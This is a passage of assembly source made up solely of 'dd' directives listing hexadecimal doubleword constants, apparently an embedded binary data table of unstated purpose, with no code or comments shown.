dd 87D0732Bh, 0EB4B00C1h, 8A9B2C83h, 0FE002EADh, 0F4A3325Ah dd 3BE1D94h, 0E4DE8F6h, 0F9E8E2C8h, 0EF034167h, 0E4762984h dd 25D4C8B2h, 5932070Ch, 0D036616Fh, 0E8C5E607h, 0C0EA4E00h dd 6356AE22h, 0F825002Bh, 75F7D4C9h, 0D8005D4Fh, 0ED0DF21Bh dd 17AE571h, 0A3756DFh, 0E03815A1h, 830E42DBh, 80C2096Ch dd 2EB75078h, 3AB60149h, 0E9676E7Fh, 7717D458h, 5612C100h dd 0D990A4ACh, 0D2920072h, 3F98491h, 2E008F2Bh, 75DB329h dd 0F4CE223h, 0F580A8A9h, 6CB17F60h, 0D40053DCh, 99377631h dd 0FC03CCh, 0C4451D8h, 98B055F3h, 0B403C0EAh, 58E8E5EFh dd 0EA53F12Eh, 0F8C79C60h, 0FE230091h, 10DC3ED4h, 7000D966h dd 0DA8DD6D2h, 30379Fh, 0DFF71D98h, 4828FA87h, 13C0590Ah dd 8493D8DBh, 7F9A9206h, 0F9DC00E0h, 43E237C4h, 0DA00D3ACh dd 53097ED9h, 0F4820Dh, 8D71732Ah, 366BE3DCh, 0F0655A00h dd 0F1DBA427h, 1C09FC78h, 40B6C938h, 5BCCFD69h, 3C005A4Fh dd 432CD716h, 0C74E31h, 0CA983B14h, 0BAA9F4EEh, 0E60A3E00h dd 0AACBE4C4h, 0F3D00B5h, 0F3EF5199h, 837CDE5Fh, 78C13500h dd 0EE4A52E8h, 2997D90h, 0C5A566F7h, 2CE3280Fh, 8FD68C00h dd 593E7363h, 0A8F501F8h, 0BB95C070h, 980CECAEh, 3B19311Ch dd 829F3D02h, 0B1B481F1h, 600C715h, 0E961F36Bh, 5AFA75A8h dd 0EE0BF0DBh, 24840001h, 0DEDB403Ch, 0C400198Bh, 0FA503EA9h dd 3823C763h, 7106AEB8h, 0B0339CB9h, 4636212Eh, 5A6F803Ch dd 3982D26h, 0EEFE0001h, 0C825E21Ch, 7F7B84CBh, 85EC9700h dd 58F98A73h, 0E49C00BCh, 0DDC380B8h, 0D2007D75h, 797F3C44h dd 72D8BD90h, 48C100C7h, 3A3F7873h, 8A145EC9h, 0BF0682h dd 75967686h, 0A47AA1h, 0F6A38D92h, 0E5171E62h, 2BB46807h dd 2764F388h, 8BEDE9C0h, 44C828D1h, 54E01E84h, 951980DFh dd 1ACA0B24h, 0EFFBC500h, 0CD0A2588h, 0E0C0076Fh, 0D30E04h dd 8B73D114h, 4861CF00h, 0C7DD201Ah, 0B7940EB2h, 0F700F886h dd 7579A62Eh, 40E74A00h, 0A222F36h, 0A1B000A4h, 74D9F1C0h dd 0E0052199h, 1A34EFB3h, 1D5B9DC0h, 702601F9h, 5D2F3878h dd 0BBC0EAAAh, 4200D823h, 0F9298F6Ch, 2BEDA81h, 628D1883h dd 9240439Bh, 0D8F7F7F5h, 0C5001776h, 5582799Ch, 0F6588B20h dd 0DF250021h, 37D71886h, 9008354h, 443D3AB7h, 28B512BEh dd 1FC84A48h, 0FA0773Fh, 0EE409A3Eh, 0C266AA83h, 99BE0700h dd 0F4E4877Ch, 0CD0E0670h, 0E0251AA4h, 0E3D6FF00h, 0DA3BED8h dd 0EA5F00D1h, 0BBCED27Eh, 0DE00DD85h, 402132E8h, 0E8AF609h dd 41F947B1h, 0F45A05E2h, 1C888480h, 73000FC7h, 9657A310h dd 5F0DD102h, 3E1F875h, 32C70795h, 38509876h, 0CC55003Bh dd 5D1597E1h, 113C0644h dd 0F8CD80D1h, 55A4240Dh, 831F03E7h, 15EFCF58h, 1E2FFE3h dd 61A3EAC0h, 0EA1DDA01h, 0ED0455CCh, 6408D0h, 1598412Ch dd 0E93CD239h, 50CE4000h, 2277635h, 0B44400CBh, 1FC17BE7h dd 0D304AD9Ch, 8903B283h, 946B48C0h, 56DA127Fh, 0E1AC0806h dd 0C4359200h, 0FE51678Eh, 3AE67422h, 7E0036D7h, 0D066DA37h dd 0FB00C412h, 0B45EB390h, 26D260Bh, 7F75BB9Eh, 0A6C08404h dd 0C30016E6h, 0D97C3C93h, 60BD821Bh, 0E3596839h, 81007251h dd 7CF3E661h, 0A80C94h, 169712F1h, 952083CAh, 317D3Ah dd 6DE2B326h, 33F940Eh, 4381F1BFh, 0F5C2AB3Ah, 0EFECC040h dd 7A016658h, 0BB032590h, 0E34405F6h, 28F8C855h, 0CC010072h dd 7EF575F1h, 0EE04DC34h, 0F48BF91h, 0F435E4D0h, 0CB0AF058h dd 1820B698h, 0CFF2A356h, 3AF399A0h, 58E33425h, 2904Eh dd 0EE4682ADh, 995EBCD3h, 0C0192600h, 83023C16h, 0BDFE013Bh dd 58DBE99Eh, 3407F179h, 0DAF8CC60h, 0B400237Ah, 0E7B21A40h dd 0E4F4B747h, 153D0045h, 7932C010h, 0FE0425Eh, 0AF4DEB00h dd 48CBB88Dh, 0A5D184Bh, 5A818864h, 4393E603h, 0F9F62A87h dd 8BE8ED14h, 8D470174h, 0BE7C8553h, 0E5D08090h, 0E095962Ch dd 0EA810316h, 0C4AFBCD1h, 0E4D5F1F8h, 977ECE00h, 3AAC84B9h dd 0EA3600F2h, 121EBD43h, 0F03E544Ch, 0C751005Bh, 4B52E748h dd 807842h, 843CA72Eh, 0BF36F6A2h, 4A678C00h, 182C4D6Ch dd 0BBFF004Eh, 54A3EA63h, 0EF7AB1E8h, 0EC19B27Bh, 2D5A7BF6h dd 0F4DEF1C0h, 4297007Dh, 35FAA140h, 43FC6AF5h, 5F5D0700h dd 20BEE932h, 9030042h, 0F0F2D64Ch, 0B80B722Ah, 764F619h dd 7ECF7798h, 826DE983h, 0A980BFAEh, 1CD3602h, 929A289Ch dd 62E3C049h, 0D2040924h, 0BAC48012h, 7876B09Dh, 7E8E3A1Ah dd 0F700685Ch, 0FAA9BCA0h, 7B3FC777h, 0A39E80A8h, 18C858Dh dd 3AAD00A4h, 4E715AA2h, 79602C51h, 0EFF14C41h, 97F2128Dh dd 5B0407DAh, 630E98A4h, 8CDC40E2h, 564ED7Bh, 33FB1131h dd 92E40016h, 5678CD5Ah, 0ABC6DF00h, 0BF9B65F9h, 72F4A8B5h dd 0A8A424AEh, 3A6F8104h, 21DB543Ch, 1497C41Bh, 0D515C03h dd 80F926CDh, 0EB3B5Ah, 0AEC25F57h, 0DC77203Dh, 0F2AD41Ch dd 3E79802h, 0B82C4096h, 213100ABh, 69F20E1h, 82395DA3h dd 62F18004h, 3423FCD8h, 5F7000Bh, 5B55E983h, 7200ECE4h dd 0A44E351Ch, 0F2B9A946h, 955E0753h, 20AA3AD8h, 0B3C82059h dd 1DFC12Ch, 0F0B9F900h, 0F7F8124h, 1363DC55h, 8EB43EA1h dd 2050DEBEh, 7184649h, 809BD78Ah, 0C54C20BFh, 0B5E999h dd 7D2E5E4Ah, 6392B4F8h, 84575B1Fh, 6A353F80h, 0A04F69h dd 213B9398h, 0FA9CE26h, 0B0DDE202h, 767CFD1h, 0E978525Fh dd 0BEE70060h, 82EDDA00h, 5DE41A07h, 0B9570080h, 9FA61B8h dd 0B005241h, 0E68FD33Ch, 29B0B3F2h, 39E4E0BCh, 0D070598Fh dd 0BDA6C9C2h, 785F1160h, 0B9046C7Eh, 5E7F2D86h, 0EC4F5980h dd 4C6F00B0h, 23F83E71h, 12EC5C24h, 1DAA23Ch, 977B4DE3h dd 0FD8DBE0h, 8B5E003Ah, 194115D8h, 30005A70h, 9DF2EB4Ah dd 55674C8h, 127D9067h, 7A08D0FAh, 0E0007E19h, 4338F9BAh dd 72F74B1h, 0A6CFD479h, 0C031F5E6h, 0A45DE4Dh, 9D75021Dh dd 239EB940h, 0A4AB6Dh, 95DC1856h, 5C2DE81h, 159C5B00h dd 4D020FC9h, 0FF6D0051h, 0E8A0D9A2h, 9D049240h, 3C88DF4Eh dd 0D8B47080h, 3A8D02F7h, 0BF9F3246h, 2FBD60E8h, 2EAFE158h dd 8B0960FFh, 3E800262h, 8A74C0E0h, 46EF0A49h, 10CDF7h dd 0F13E479Ah, 897FDB60h, 0B5482EB8h, 5E12000Ch, 5DBF35AAh dd 3610CF06h, 0A7CDC002h, 5A3BB448h, 1A712100h, 0BA470C58h dd 2A4500F7h, 3E7EE14Fh, 0C0009483h, 3682468Dh, 38CC5AC2h dd 9F003BCFh, 566AFF3Dh, 6390F8ADh, 0A6602106h, 0E041A3h dd 8E7A98EFh, 46808908h, 7D77A572h, 0F201217Dh, 74E7AA37h dd 88500DE6h, 61B7510h, 0F8846C1Ch, 0F203A0B3h, 0C77A5D5Ah dd 66E3E80Eh, 8D270170h, 3B3878Ah, 85C1E09Bh, 0E4001298h dd 12E6E013h, 0A2361h, 0D21D7538h, 8E8815CFh, 10036E8h dd 0FA09DC98h, 1404B0Bh, 4161A40Dh, 0CC72302Dh, 6C003D4Fh dd 1B7AF3DCh, 178F9E2h, 0C548992Ch, 60A83064h, 0A50002A9h dd 0A9D71EB0h, 7FDC9B08h, 718100D0h, 2F9C566Fh, 0ED034B8Bh dd 0D5BC6E11h, 0DA3AF099h, 128900C3h, 59B09ABDh, 0D3EEE264h dd 5D1F7700h, 2C28241Dh, 2313001Ah, 70ACE9B8h, 793F717Eh dd 8180BE09h, 44D23E41h, 25FD6B20h, 0F73A75C0h, 2B64D4h dd 0F1581B82h, 53D38C56h, 0C713CA00h, 0DC324F7h, 20E0E65h dd 0D820B3FAh, 808E5771h, 0D4B03C09h, 0B104004Dh, 67E043h dd 63838D23h, 0BCFBD65Dh, 0A9996400h, 0D8743927h, 4E230078h dd 0D2FFAB4Bh, 20A5BE89h, 0C0507C88h, 59E7E918h, 3CA649h dd 0A181F354h, 0E249239h, 21CA32F5h, 8521AB8Ch, 73821900h dd 0D6E9EC22h, 2C480325h, 76703215h, 188EE800h, 7F3CFD7Bh dd 0F7EE332Eh, 1DC84906h, 0F20E2342h, 99CFC9E0h, 50F87D10h dd 1943037Bh, 115C6DF0h, 31780830h, 0F451069Ch, 0C84B0036h dd 0F2882968h, 7F006245h, 8DBA3A49h, 0E6B2B5Bh, 0B6422211h dd 0DD8CA8CEh, 8C01426h, 28EC761Dh, 66D0683h, 196391D9h dd 6501F5EAh, 0EC599690h, 10F36FD0h, 3DA9320h, 4714DC44h dd 6231006Dh, 0CBBDCD27h, 100E361Eh, 84318EEFh, 2800DB86h dd 14C3CC9Eh, 81FDD23Dh, 2A671C15h, 0F19CCB57h, 0E788C0E6h dd 15F8363Fh, 1AE09B00h, 0C66D2ECCh, 0FFD40C9Ch, 0C7701ECDh dd 0E670410Ch, 90FDD111h, 0A6230195h, 90D16073h, 0EA088C2Dh dd 58D42041h, 8000EC2Eh, 16824B5Fh, 0FA31B3F0h, 5BA54121h dd 713E7F0h, 0FBEA6145h, 5ABF00F0h, 300E6FA0h, 2CFF70FCh dd 0FF151D9h, 299EEADFh, 0B19CA600h, 7801E814h, 39B8E2C5h dd 8C506E5Ah, 1D48F30Dh, 9AA42B1Fh, 0C980701Ch, 0FC5F27BCh dd 77CE8D0Ch, 0C0A608D3h, 0BCE3EB21h, 52005375h, 221F0AE2h dd 5F3D54h, 2A36D27Bh, 0DF852E71h, 7A49F6E6h, 20A52808h dd 269C9800h, 83A0067Fh, 0A8213A5Ch, 0BED92E1Fh, 0D1E79380h dd 607659FFh, 9864DF0Eh, 828AFF2Ah, 465EACF9h, 70F900F7h dd 0EA55536Eh, 8DB8ECh, 45F1B52Ch, 0E372B94h, 0CEEE100h dd 3649ADA5h, 10AA6062h, 66D8560Fh, 0BC2A9301h, 0BBF1AC1Bh dd 0C0AB09D0h, 0CD1D6C20h, 7B00FEC5h, 4C525F47h, 37B105h dd 2F0D1A86h, 2E8F3DABh, 56CA900Fh, 5DF0E114h, 4080AF3Ah dd 0D8E70B2Fh, 5E066443h, 5C2E0D7Ah, 21DF6E08h, 66D93E60h dd 3264A3DBh, 1A6055A0h, 9323B2CDh, 21F8180Ah, 0CD002148h dd 0F9539C61h, 0C13D78Eh, 0E236B281h, 0A0030861h, 0B04929E3h dd 0B5899046h, 0C7DC0385h, 0E08C9363h, 1CDA3EF0h, 0D017D730h dd 1EE701EEh, 0F9DDDEBBh, 48F6F500h, 0F1A0F057h, 0FA30E198h dd 7C7282Eh, 0A40A1B8Ah, 40F440B8h, 5C79C1D5h, 47300704h dd 20DFC7h, 9944BF49h, 0B9D51400h, 485E545Dh, 0A8FD6085h dd 1E1374ABh, 52450D00h, 0AE9F3806h, 0E48900D3h, 9BFC4137h dd 0BE001569h, 5721A0F8h, 0C5EB147h, 318AA5DBh, 0FB543478h dd 96E22C8Ch, 0DE102100h, 0ADDC6B87h, 7D8763Fh, 0B7C2C372h dd 3290D2AAh, 39119490h, 0AB0094B0h, 0B80A6C0Fh, 3FC5D77h dd 1EA9EF40h, 0CBE82DF3h, 0B9069F56h, 1A77542Eh, 446C00F1h dd 0A5974F6Eh, 8E2C1C11h dd 2518BE4Dh, 73D3B21h, 2455AE6Fh, 4BEC0385h, 2200854h dd 950FBA05h, 588073F8h, 3048D5F6h, 0A3210A84h, 7F3B31F4h dd 7C921C15h, 4675C100h, 1F0BDE5Ah, 8067E509h, 2B7A42AEh dd 0D0CF556h, 411B854Dh, 9867500Eh, 6D6B0382h, 6E5B99AEh dd 210006A3h, 0F721604Ch, 7E9C2Dh, 3DE68379h, 8BC1D14Eh dd 1E90E300h, 0B0ED6EDEh, 0DE73507h, 4B740838h, 45D941C0h dd 7B6E2164h, 2400DA91h, 0B3A3D959h, 1107FD4Fh, 0C7B7FC1Dh dd 4EFA3860h, 0AAD67A4Dh, 6BE18098h, 0C77B27h, 2CF54A71h dd 1E8F1840h, 90A9211Ch, 4394BE00h, 0A4774D37h, 729D0EB4h dd 8B80C0D5h, 9116DA0h, 0C8E932FEh, 6700061Dh, 0B702664Bh dd 0A6781E2Eh, 6E4202E0h, 0E559705h, 72172619h, 1AE06F5Bh dd 0E4006B71h, 4266B3A0h, 0C0DE3712h, 0B50D51E1h, 77008402h dd 0E91A6B17h, 544EC14h, 857BD6C5h, 0C7B84001h, 2CE29C27h dd 5856FE00h, 0CB3C9103h, 0E6B21AA0h, 0B00451ACh, 8FC0645Eh dd 994664B4h, 3DEDC024h, 0C5E04AD9h, 1E248E00h, 0D2889C3Fh dd 159600E7h, 959D7B0Fh, 0E2457D5h, 0B3C01049h, 21764B21h dd 8916ACBh, 214C5800h, 334B9B79h, 2771E163h, 2088A897h dd 0ACE02EAh, 2A73A5DCh, 335E9881h, 8B2980E0h, 6CCA0807h dd 67981D19h, 5D3D0052h, 0AEFC102Bh, 80CD1F3Dh, 5CE61D43h dd 7C69A99Fh, 0F7F403B1h, 0E41881Ch, 14868826h, 0C28DCA40h dd 23821D83h, 80651DE1h, 6CB33467h, 0A300FCFAh, 0DA2CB8AFh dd 7403D631h, 4CCB0128h, 862BC874h, 0B4D98024h, 0C3B61578h dd 60AAEE40h, 112B1819h, 0AC58A28Fh, 0C03F8818h, 93B0D858h dd 0A28C1A43h, 7F003FD0h, 253999DDh, 0F4B77C33h, 0DE6C0C60h dd 0AB69E053h, 3829F474h, 0B281C486h, 0C3764821h, 0F9C1C418h dd 97214B65h, 5668960h, 3425CC2Eh, 0F8B440DDh, 227F6916h dd 0F551F400h, 0D9C7C6B8h, 105C1EE9h, 1ED64642h, 0B612A82Ch dd 80601D2Eh, 10F06EAFh, 0C4123D96h, 4E003171h, 0FC7E6E48h dd 251D1600h, 777DC8F6h, 0AE282938h, 805B1194h, 93ACCC4Ch dd 0C0BB42FAh, 99D8534Eh, 45B00B2h, 0FA73308Fh, 0AD29E066h dd 2830245Eh, 58F29365h, 6FB280BBh, 80A090C3h, 0A03AF94Dh dd 0D17404D0h, 2F00DC33h, 63FE663Bh, 5043A57h, 15844BAFh dd 98C4C05Fh, 3180F7D9h, 478F64h, 0F535E09Ch, 0F12F1613h dd 0B1E7DCA7h, 58F6AD8h, 828A98C5h, 1C649327h, 49038630h dd 0B64D4Ch, 1E8313DFh, 0BB55E4D5h, 4598A21Dh, 511A24CDh dd 609BE004h, 0D5AF8480h, 700DB9Fh, 0B7862D5Ch, 1F615746h dd 40F9D068h, 75227B70h, 3600E3E9h, 58ADBB9Dh, 0C1C8E599h dd 0C61EA280h, 0F87470D5h, 0DCB6700h, 0D3DE13BBh, 2AF822h dd 96843A1Ch, 9BC1975Dh, 73B19000h, 0AA24DCE2h, 0B42700E4h dd 0F64C3610h, 7C00E582h, 0FFD8B080h, 92F93Fh, 24ED68Ah dd 3140B95Eh, 0F833FD00h, 8C47F9Dh, 3FAE064Fh, 4194FC86h dd 36FE0200h, 0B25EE9BFh, 968B00C4h, 0C3DB18BAh, 1D0F669Ah dd 0A7234Bh, 0AAD87E25h, 88408D5h, 3728F591h, 29FE9600h dd 0A5E18F20h, 614400B9h, 9BD32A71h, 9117D9F0h, 7E003E4Ch dd 74DA82C5h, 70A40717h, 0D0ADE445h, 77BE21E6h, 0FBC68300h dd 0C041C8A1h, 6FE20117h, 21B854D6h, 0D87CE4A7h, 773C6003h dd 0F7981Bh, 0B0844D80h, 0D593648Bh, 0B5103F02h, 0A072C107h dd 73E627A0h, 0DA9F0062h, 5B56CEEDh, 1E00D1C6h, 631D5E2Bh dd 14843E5h, 0AF25C88Dh, 80BC6999h, 71786780h, 8B855D6h dd 7E11642Ah, 8980A091h, 3B6480B0h, 0E10D643h, 0DB160098h dd 97373E73h, 1BAA0A39h, 4E20753Dh, 646DB061h, 0B604863h dd 0E80141C3h, 0ECEC870h, 73877CFDh, 0D8343FFBh, 0E11FAC80h dd 0E8C38565h, 0EC53C5Ch, 20BC6B91h, 0DC88775Dh, 499E3832h dd 0D48E5600h, 86435242h, 0F900A4E4h, 3A2522D5h, 2AD2F1h dd 197D5469h, 93189B84h, 0DEF9230Eh, 0A8D6A283h, 30808048h dd 1F330CAEh, 1ECAC834h, 158F4058h, 4F53C17Ah, 81EFC300h dd 0A364E672h, 0B1740E66h, 14C0AC99h, 0E7FBC710h, 34705600h dd 634986BCh, 8A720092h, 47506F28h, 40C0FC48h, 0A50ED531h dd 0FFD60085h, 0DFD0C6Ch, 2D00C2EFh, 647ABBDBh, 5097DB9h dd 874BEBA5h, 63B5C029h, 80A06890h, 300037D6h, 0DD44AFD1h dd 86E07Eh, 6D8A1221h, 825F0E60h, 659F4099h, 3C66559Eh dd 2E58E026h, 59210F5Eh, 9BE0C690h, 991E9AA6h, 145BB900h dd 0E216F5ABh, 5822F069h, 0C814DC4Bh, 0A10FF503h, 180C75F1h dd 7C008148h, 0FC5C0C72h, 34888Fh, 0E3E058F6h, 9855B9E8h dd 0E767D400h, 0FF2EFC5Bh, 515D2918h, 0DB47E220h, 0E45CE532h dd 95F96008h, 7BB105A0h, 901637A5h, 22DAAF30h, 34DCE800h dd 43ADA435h, 0BCEB00A9h, 0DE241AA5h, 0B713E79Eh, 0A460202Eh dd 16F36EB8h, 2C114596h, 51034F84h, 0CC608F6Eh, 6514807Eh dd 19DEAB3h, 68FEA7AAh, 0DB756D89h, 42DC314Ch, 4580EA04h dd 361F8064h, 0EFE7131Fh, 86074D2Ch, 0D8321458h, 615440DBh dd 25350006h, 43E7361Ah, 0B7180D05h, 2C297438h, 0C58A88DCh dd 84EB2440h, 4270D722h, 0CC521130h, 11449F11h, 0A4116D59h dd 3CEE19DDh, 0D210A379h, 0B100B4FCh, 0CC6E8542h, 4EB3329h dd 5F784CC1h, 0E916C01Ch, 3E07DFACh, 0A9A82D56h, 35DA606Eh dd 4C315Ah, 0BCA47BA5h, 0EBB4662Bh, 1BD41703h, 0C87A3EDDh dd 0F3D055h, 7819D344h, 0AE080D50h, 16003D76h, 31E75238h dd 0E58CD0h, 0FD72A61h, 1410FAC7h, 0DCFB4200h, 0B6674D6Eh dd 0E40100FEh, 0CC580ECFh, 5B0514B7h, 0B95A12AAh, 804CC04Eh dd 8BA250FBh, 0F4030005h, 0C7F52324h, 3E05C3F7h, 0D5CB8108h dd 0C10D1C80h, 8A7083h, 961A7377h, 0A9EA7035h, 85F71F07h dd 0DD307C6Ah, 0E05EECEBh, 15800078h, 0E11E7602h, 0A973113Eh dd 0E00F48h, 80CC5F6Fh, 1EACD4B2h, 0C64DFA27h, 10E5B782h dd 0ECBD2A0Eh, 8BC16086h, 1F66426Eh, 40F76F99h, 0A2B16AEDh dd 3F007AA1h, 24CAC215h, 39D58B3h, 8E265FEAh, 0B8007FA0h dd 0FFA1C5B1h, 89F7EC3h, 0A45AB3B2h, 8ADC9601h, 38E8CE40h dd 0D71C00F4h, 0ABE154ADh, 0D00BF3Dh, 7C2A72A8h, 57048Fh dd 0F8D28479h, 0A6551A43h, 75D3B100h, 5A92E202h, 163D12A2h dd 38680F05h, 56E6CBC0h, 0C27D02FFh, 0A5CAE200h, 2F9058D2h dd 0E8EE000Fh, 5B80ED8Bh, 80002B2h, 0FC25C3F8h, 0F5065Ah dd 73D9EC2Bh, 17877EDCh, 84775C00h, 30C994D1h, 6C3005Dh dd 0C88E11CEh, 0E2FEE0E4h, 0CF054100h, 681BAEC2h, 0ABDC0E09h dd 1620C7F7h, 0CD263D9Fh, 59CC1105h, 0AC027DA7h, 8ECA107Fh dd 0A94BE110h, 9C418E9Ch, 4D4A6F5h, 43820E53h, 64A055D8h dd 7096C556h, 0C431DF1Fh, 0FC63AAC7h, 0C6B6FE50h, 120CB4E2h dd 176040B9h, 0A00D9D5Bh, 8907727Eh, 0C732383Ah, 0B1EABAD0h dd 0ADCD076Eh, 1035DF56h, 60CF61B5h, 0D27D1713h, 0B142AD00h dd 0F07CEEA5h, 0E71ACh, 52193F7h, 73D80241h, 7A4EBC00h dd 0EA1E32CDh, 1BB50063h, 91DECB6h, 6805DD6Ch, 4A45D213h dd 0EF5B9400h, 1D7286Bh, 5D151A80h, 40A8C422h, 0E29B8FECh dd 0A2E8F6C0h, 0ED9A41h, 7CB0BB2Ah, 21704A25h, 4800D77Dh dd 161E781Ah, 0EEB76A4h, 85D583E3h, 0F5FBCB80h, 79FAA75Ch dd 443F3A74h, 426F84DFh, 0B880E619h, 0BF591Eh, 8829E97Bh dd 0B5601480h, 24998F48h dd 95009724h, 328A9920h, 7A74ABh, 0F7DD28E5h, 1E6E9876h dd 8B4E200h, 91848D0Ah, 0E549263Eh, 46FA001Ch, 62D554A1h dd 6322D000h, 0B91ECB71h, 9219049Ch, 0DA56053Fh, 98C3002Ch dd 0ADD5C862h, 993C00B9h, 5FD905E8h, 120FCE65h, 0C07E9CD8h dd 40D5FFDBh, 33990358h, 1F7038D3h, 0A6637BF0h, 0C4015579h dd 25FC95E2h, 0E44079B0h, 9B6134h, 0B31621E6h, 0C45E731Fh dd 0EAEB200h, 4139334Fh, 2CA00E46h, 55079954h, 1FC206Bh dd 0A3009603h, 6DEE408Ch, 0BF8F4Fh, 0E8E0543Ah, 0F5AD5CC4h dd 0C7E7BE00h, 120AEE6Ch, 861300D5h, 304A843Ch, 0B13BA489h dd 0B9148046h, 0D3DBCB54h, 1588007Bh, 60C541CAh, 0F000DC50h dd 0AEB55925h, 1C44CBh, 289047E7h, 6AF357B8h, 8ED0C500h dd 29AFC272h, 0D287001Ch, 0C4E7DB1h, 9900C978h, 47FB799Fh dd 9816E3BCh, 91CD5070h, 65270098h, 8FABEEB8h, 1800B1E9h dd 0AAEBB5CCh, 0EAD3294h, 2869D81Dh, 9D1C6500h, 4B3B6370h dd 0E889073Ch, 0B60B5B2h, 237BBCh, 8E703907h, 24F2A6D9h dd 0B1A92000h, 45C5FB29h, 800A00DAh, 0C67D42F4h, 0D60E5456h dd 80BEE11Bh, 377596D4h, 0CD65263Fh, 0A57A0095h, 0B94677DEh dd 3E79A800h, 67EA348Ah, 9ADF006Ch, 0F90D8371h, 38608DF4h dd 49B84378h, 0B5BD00CCh, 540F0122h, 0A51CD9DAh, 17006DFBh dd 886F1C8Dh, 36C70F1Fh, 0FB60F27h, 450F5191h, 0AD928C20h dd 0EF00A801h, 0C5E483Ah, 3176DD1h, 69AB23F2h, 40BFE709h dd 250F11B1h, 0EA9B5D00h, 2B0DAC6Dh, 0D15A03FFh, 7D4DD092h dd 96846090h, 331C800h, 2CCF7BF7h, 56860E43h, 21E0676Ah dd 5E250E39h, 0D82DA718h, 0CB8E430h, 0ABC22F46h, 25004C10h dd 745C0ABAh, 9A50A4h, 0E761D3CCh, 5205F8C4h, 7EEACB7Ch dd 8AADC206h, 385D38h, 0D210EA13h, 3447BC8Ch, 1878BF30h dd 0E45183h, 0B531AC5Eh, 0CC3F391Fh, 8F9F39h, 4E11E116h dd 28E3A877h, 0FEBB3EA2h, 0F903EA0h, 0D1E04F00h, 0A8C66138h dd 6E046D06h, 0E587319h, 0B589C5EBh, 804554C4h, 72522D35h dd 4F290B03h, 37AD437h, 6AD817DCh, 49F014E0h, 0BC001D26h dd 6395FA5Ch, 386ED55Dh, 800F4F34h, 0CDE0097Bh, 1EC6EA25h dd 43F3BC00h, 0D757A2B5h, 0BE240034h, 0C2DD0D87h, 9C00048Dh dd 0C13E61E0h, 0F37515h, 0D69BEA8Fh, 0E69FB3E3h, 0D5C0F000h dd 758E4680h, 515D30D9h, 9C5F89A0h, 48040C48h, 155E004Bh dd 0EE5BFF0Eh, 4705051Eh, 55D5D2h, 4C0DBA84h, 4F13624Ah dd 9FF562Ah, 0D4003AE2h, 582241BEh, 8B0EE20Bh, 9650809Ah dd 24434Bh, 1BFD2725h, 39C27A87h, 6591BF03h, 0FB713552h dd 0C0B3AAD1h, 99FA43h, 38888654h, 0F446FE59h, 0F8D0A501h dd 0A81439E2h, 1C7372FCh, 0D120D8h, 0BC4413C6h, 601FA942h dd 310003F4h, 0A129E23Eh, 22EB00C2h, 0BB168AABh, 1D0015ADh dd 967C11E4h, 6ABDD4h, 49BC4A9h, 0B1A852F4h, 6C7B707h dd 910EF23h, 0BE35D1h, 6A12DF9Dh, 90301FCBh, 0D573BA04h dd 5EC383CDh, 1A13980Eh, 3FEF2809h, 0C1E000A8h, 3BAF71D1h dd 0DB75BF0Ch, 551BD300h, 4AEF5148h, 3CB603C6h, 70EE7B56h dd 93A40C0h, 6C09B492h, 802E64AEh, 91923D84h, 82F124CEh dd 3AFB0048h, 0E01015C9h, 0C1F6809Dh, 244B59F8h, 0F8E897h dd 57F2FF1Ch, 1E00445Fh, 0D25EF57Ah, 0A88420h, 0FBC2ADBEh dd 0A9D8CCCDh, 2658E7E8h, 0C73A0047h, 0C3E45DECh, 0A6856041h dd 3E54DE3Ch, 4E780200h, 663072D7h, 75093834h, 9EBC7A00h dd 7EFE21D1h, 0A05158h, 0B6650DB2h, 355583h, 43079EE2h dd 95D7AFACh, 94D35724h, 9A3BE00h, 8A300Bh, 0FD798D89h dd 5F41EB03h, 0AEAA8CA0h, 85E74C3Ah, 0A375B229h, 0FFD800C0h dd 23FC0038h, 42E8353Eh, 0A100140Dh, 11025B9Ch, 9253FBD0h dd 0C9E900B8h, 7B133FA7h, 8C00ED1Eh, 0B786FC21h, 375CA30h dd 7F27CC46h, 0EAC05BB9h, 5E00E5A2h, 0B3DFA424h, 4C699Dh dd 0F3729A8Ah, 0BB87BC81h, 8C54FD28h, 0CD3B08F4h, 1D918335h dd 0A729F62Ah, 80FB802Bh, 314621h, 0A8B30FD7h, 73021B98h dd 1EBB43Ch, 0AFC6D04Ah, 7020F740h, 466D2CC9h, 9B9F07F9h dd 0B595F027h, 3F1EC585h, 50D9B2C2h, 20DE7170h, 61B1CD9Ch dd 87ECAA00h, 0C120C96Fh, 0EEF500EFh, 822B30E0h, 0A60CDD22h dd 0A1946B8Fh, 1293B008h, 40752789h, 850A6FE8h, 28007EDAh dd 0CEE43D63h, 3A72FBFEh, 3100C647h, 4E326EAh, 0F5008095h dd 0D46F71D8h, 0F973A0h, 7BE10B83h, 0F3586ECDh, 0DAF2E400h dd 54D0982h, 687148C0h, 9C790F7Bh, 866343FEh, 2D80F1C5h dd 0D9018081h, 0FD622338h, 0DBD0FB3Bh, 1EAE0713h, 1F434Ch dd 58F294DAh, 79A3AC14h, 0E89A00BEh, 22F8167Ah, 0E2A02CAh dd 119D4AEEh, 0F40C7C61h, 0E3006CFDh, 59211EE0h, 0FC5D3F7Bh dd 0DC46030Bh, 4E4AC83Eh, 0CAD09BC0h, 8429331Fh, 32424406h dd 0CB4F05F0h, 0C0387093h, 0BA4BF038h, 4C9820E2h, 92B53F3Dh dd 0AB00AC73h, 0D9C40C46h, 579021h, 0E2E92866h, 98CF5C22h dd 5BC0C200h, 0CCB1906Eh, 6413DF9h, 0F0443700h, 634D29DCh dd 1B00D7E2h, 7B64178Bh, 0BD3FFBh, 0D06AB79Ah, 70DC1501h dd 0D4CA8A28h, 0E57020E9h, 0B11BE900h, 4C4452BEh, 898AFh dd 5EF46CB7h, 94230A12h, 0E100EC90h, 5AF5303Ah, 47CF44h dd 6820831Bh, 0F0BF1499h, 4125E101h, 0C25C3BFBh, 6739CCh dd 0F6EBD06Eh, 0A66AD21Fh, 807B2C3Dh, 42BF0296h, 0E786DB0h dd 134C7E0Ah, 9D9E23A1h, 6437C8F1h, 0AAA01000h, 0FEFFFF4h dd 0BAFB0311h, 0C7B8C61Ah, 84B8D7ABh, 0EBF2ECC9h, 7403997Fh dd 578936D1h, 0F1409843h, 0B2C00193h, 49AB1823h, 0BA4DF402h dd 0F91B7500h, 0F03690EBh, 2C8B3B10h, 0B03B443Dh, 56A3C500h dd 0E950ADA2h, 8020283Ah, 0C3342E2Fh, 1C431E7h, 5675F4Ah dd 0D16197BBh, 7608E850h, 8E9AAA00h, 8136EE1Ah, 0F7BE014Bh dd 0C625F477h, 0B70AF055h, 0D995921Eh, 65B42441h, 0DDCCFFB0h dd 760200A9h, 0F78231F5h, 8009174h, 